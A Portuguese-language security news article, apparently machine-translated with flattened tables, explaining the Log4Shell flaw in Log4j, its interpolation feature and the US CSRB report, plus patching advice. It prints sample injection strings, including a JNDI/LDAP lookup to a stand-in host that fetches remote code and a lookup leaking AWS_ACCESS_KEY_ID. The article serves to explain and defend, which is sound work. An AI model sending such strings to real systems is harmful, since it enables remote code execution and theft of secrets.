8 meses depois, os EUA dizem que o Log4Shell estará disponível por “uma década ou mais”

Lembrete Log4Shell?

Era um bug perigoso em um popular kit de ferramentas de programação Java de código aberto chamado log4j, abreviação de “Logging for Java”, publicado pela Apache Software Foundation sob uma licença de código-fonte livre e liberal.

Se você já escreveu software de qualquer tipo, desde o arquivo BAT mais simples em um laptop Windows até o mega-aplicativo mais complicado rodando em um rack inteiro de servidores, você terá usado comandos de log.

Da saída básica, como echo "Starting calculations (this may take a while)" impresso na tela, até mensagens formais salvas em um banco de dados de gravação única por motivos de auditoria ou conformidade, o registro é uma parte vital da maioria dos programas, especialmente quando algo quebra e você precisa de um registro claro de exatamente até onde chegou antes o problema bateu.

O Log4Shell vulnerabilidade (na verdade, houve vários problemas relacionados, mas vamos tratá-los todos como se fossem um grande problema aqui, para simplificar) acabou sendo meio bug, meio recurso.

Em outras palavras, o Log4j fez o que disse no manual, ao contrário de um bug como estouro de buffer, onde o programa incorreto tenta incorretamente mexer com os dados que prometeu deixar em paz…

…mas, a menos que você tenha lido o manual com muita atenção e tomado precauções adicionais adicionando uma camada de verificação cuidadosa de entrada em cima do Log4j, seu software pode se soltar.

Realmente, mal, totalmente desprendido.

Interpolação considerada prejudicial

Simplificando, o Log4j nem sempre gravou as mensagens de log exatamente como você as forneceu.

Em vez disso, tinha um “recurso” conhecido de forma variada e confusa no jargão como interpolação, substituição de comando or reescrita automática, para que você possa acionar recursos de manipulação de texto dentro do próprio utilitário de log, sem ter que escrever seu próprio código especial para fazer isso.

Por exemplo, o texto na coluna INPUT abaixo seria registrado literalmente, exatamente como você o vê, o que provavelmente é o que você esperaria de um kit de ferramentas de registro, especialmente se você quisesse manter um registro preciso dos dados de entrada que seus usuários apresentaram por motivos regulatórios:

ENTRAR RESULTADO ----------------------- ------------------------ NOME DE USUÁRIO =pato -> NOME DE USUÁRIO=pato Caller-ID:555-555-5555 -> Caller-ID:555-555-5555 Versão atual = 17.0.1 -> Versão atual = 17.0.1

Mas se você enviou texto envolto na sequência de caracteres mágicos ${...}, o logger às vezes fazia coisas inteligentes com ele, depois de receber o texto, mas antes de realmente escrever no arquivo de log, assim:

ENTRAR RESULTADO ---------------------------------- -------------- ----------------------------- CURRENT=${java:version}/${java:os} -> CURRENT=versão Java 17.0.1/Windows 10 10.0 A conta do servidor é: ${env:USER} -> A conta do servidor é: root ${env:AWS_ACCESS_KEY_ID} -> SECRETDATAINTENDEDTOBEINMEMORYONLY

Claramente, se você estiver aceitando texto de log de uma fonte confiável, onde é razoável permitir que o loggee controle o logger dizendo-lhe para substituir texto simples por dados internos, esse tipo de reescrita de texto é útil.

Mas se seu objetivo é acompanhar os dados enviados por um usuário remoto, talvez para fins de manutenção de registros regulatórios, esse tipo de reescrita automática é duplamente perigoso:

• Em caso de disputa, você não tem um registro confiável do que o usuário realmente enviou, já que ele pode ter sido modificado entre a entrada e a saída.
• Um usuário mal-intencionado pode enviar entradas construídas sorrateiramente para provocar seu servidor a fazer algo que não deveria.

Se você estiver registrando entradas do usuário, como a string de identificação do navegador, digamos (conhecida no jargão como User-Agent), ou seu nome de usuário ou número de telefone, você não quer dar ao usuário a chance de enganá-lo para gravar dados privados (como uma string de senha somente de memória como AWS_ACCESS_KEY_ID no exemplo acima) em um arquivo de log permanente.

Especialmente se você disse com confiança a seus auditores ou ao regulador que nunca escreve senhas de texto simples em armazenamento permanente. (Você não deveria fazer isso, mesmo que você não tenha dito oficialmente ao regulador que não!)

Pior por vir

No caso do Log4Shell é-é-um-erro-ou-é-é-um-recurso, no entanto, as coisas eram muito piores do que os exemplos já arriscados que mostramos acima.

Por exemplo, um usuário que deliberadamente enviou dados como a entrada mostrada abaixo pode acionar uma sequência de eventos realmente perigosa:

ENTRAR RESULTADO ------------------------------------------------ ---------------------------------------- ${jndi:ldap://dodgy. server.example:8888/BadThing} -> Baixe e execute um programa Java remoto!?

Na string de “interpolação” acima, o ${...} seqüência de caracteres que inclui as abreviaturas jndi e ldap disse ao Log4j para fazer isso:

• Use a interface de nomenclatura e diretório Java (JNDI) localizar dodgy.server.example conectados.
• Conecte-se a esse servidor via LDAP, usando a porta TCP 8888.
• Solicite os dados armazenado no objeto LDAP BadThing.

Em outras palavras, os invasores podem enviar entradas especialmente criadas que instruiriam seu servidor a “ligar para casa” para um servidor sob seu controle, sem sequer uma licença.

Como isso poderia ser um “recurso”?

Você pode estar se perguntando como um “recurso” como esse chegou ao código Log4j.

Mas esse tipo de reescrita de texto pode ser útil, desde que você esteja registrando dados de uma fonte confiável.

Por exemplo, você pode registrar um ID de usuário numérico, mas também pedir ao registrador para usar o LDAP (o protocolo de acesso ao diretório leve, amplamente utilizado na indústria, inclusive pelo sistema Active Directory da Microsoft) para recuperar e salvar o nome de usuário associado a esse número de conta naquele momento.

Isso melhoraria a legibilidade e o valor histórico da entrada no arquivo de log.

Mas o servidor LDAP que o Log4j chamou no exemplo acima (que foi escolhido pelo usuário remoto, não se esqueça) provavelmente não saberá a verdade, muito menos para dizer, e um usuário malicioso poderia, portanto, usar esse truque preencher seus logs com dados falsos e até legalmente duvidosos.

Pior ainda, o servidor LDAP poderia retornar código Java pré-compilado para gerar os dados a serem registrados, e seu servidor executaria devidamente esse programa -- um programa desconhecido, fornecido por um servidor não confiável, escolhido por um usuário não confiável.

Falando livremente, se algum servidor, em qualquer lugar da sua rede, registrou entrada não confiável que veio de fora e usou o Log4j para fazer isso…

…então essa entrada pode ser usada como uma maneira direta e imediata de enganar seu servidor para executar o código de outra pessoa, simples assim.

Isso é chamado RCE no jargão, abreviação de execução remota de código, e os bugs RCE são geralmente os mais procurados pelos cibercriminosos porque normalmente podem ser explorados para implantar malware automaticamente.

Infelizmente, a natureza desse bug significava que o perigo não se limitava a servidores voltados para a Internet, portanto, usar servidores da Web escritos em C, não em Java (por exemplo, IIS, Apache https, nginx) e, portanto, não usaram o buggy Código Log4j, não o libertou do risco.

Em teoria, qualquer aplicativo Java de back-end que recebeu e registrou dados de outro lugar em sua rede e que usou a biblioteca Log4j…

…podem ser alcançados e explorados por invasores externos.

A correção foi bem simples:

• Encontrar versões antigas de Log4j em qualquer lugar e em qualquer lugar em sua rede. Os módulos Java normalmente têm nomes como log4j-api-2.14.0.jar e log4j-core-2.14.0.jar, Onde jar é curto para Arquivo Java, um tipo de arquivo ZIP especialmente estruturado. Com um prefixo pesquisável, uma extensão definitiva e o número da versão embutido no nome do arquivo, encontrar rapidamente arquivos problemáticos com versões “erradas” do código da biblioteca Java é bastante fácil.
• Substitua as versões com bugs com os mais novos e corrigidos.
• Se você não estava em condições de alterar a versão do Log4J, você pode reduzir ou remover o risco removendo um único módulo de código do pacote buggy Log4j (o código Java que manipulava as pesquisas JNDI, conforme descrito acima) e reempacotando seu próprio arquivo JAR reduzido com o bug suprimido.

A saga continua

Infelizmente, recente, relatório detalhado sobre a saga Log4Shell, publicada na semana passada pelos EUA Conselho de Revisão de Segurança Cibernética (CSRB), parte do Departamento de Segurança Interna, contém a preocupante sugestão (nossa ênfase abaixo) de que:

[O] evento Log4j não acabou. O [CSRB] avalia que o Log4j é uma “vulnerabilidade endêmica” e que as instâncias vulneráveis ​​do Log4j permanecerão nos sistemas por muitos anos, talvez uma década ou mais. Permanece um risco significativo.

O que fazer?

Com 42 páginas (só o sumário executivo chega a quase três páginas), o relatório do conselho é um documento longo, e partes dele são pesadas.

Mas recomendamos que você o leia, porque é um conto fascinante de como até mesmo problemas de segurança cibernética que deveriam ser rápidos e fáceis de corrigir podem ser ignorados, ou adiados para mais tarde, ou negados tão bons quanto “o problema de outra pessoa problema” para corrigir.

Sugestões notáveis ​​do serviço público dos EUA, que endossamos de todo o coração, incluem:

• Desenvolva a capacidade de manter um inventário preciso de ativos e aplicativos de tecnologia da informação (TI).
• [Configurar um] documentado programa de resposta a vulnerabilidade.
• [Configure um] processo documentado de divulgação e tratamento de vulnerabilidades.

Quando se trata de segurança cibernética, não pergunte o que todo mundo pode fazer por você…

…mas pense no que você pode fazer por si mesmo, porque quaisquer melhorias que você fizer quase certamente beneficiar todos os outros tão bem.

---

[Conteúdo incorporado]

---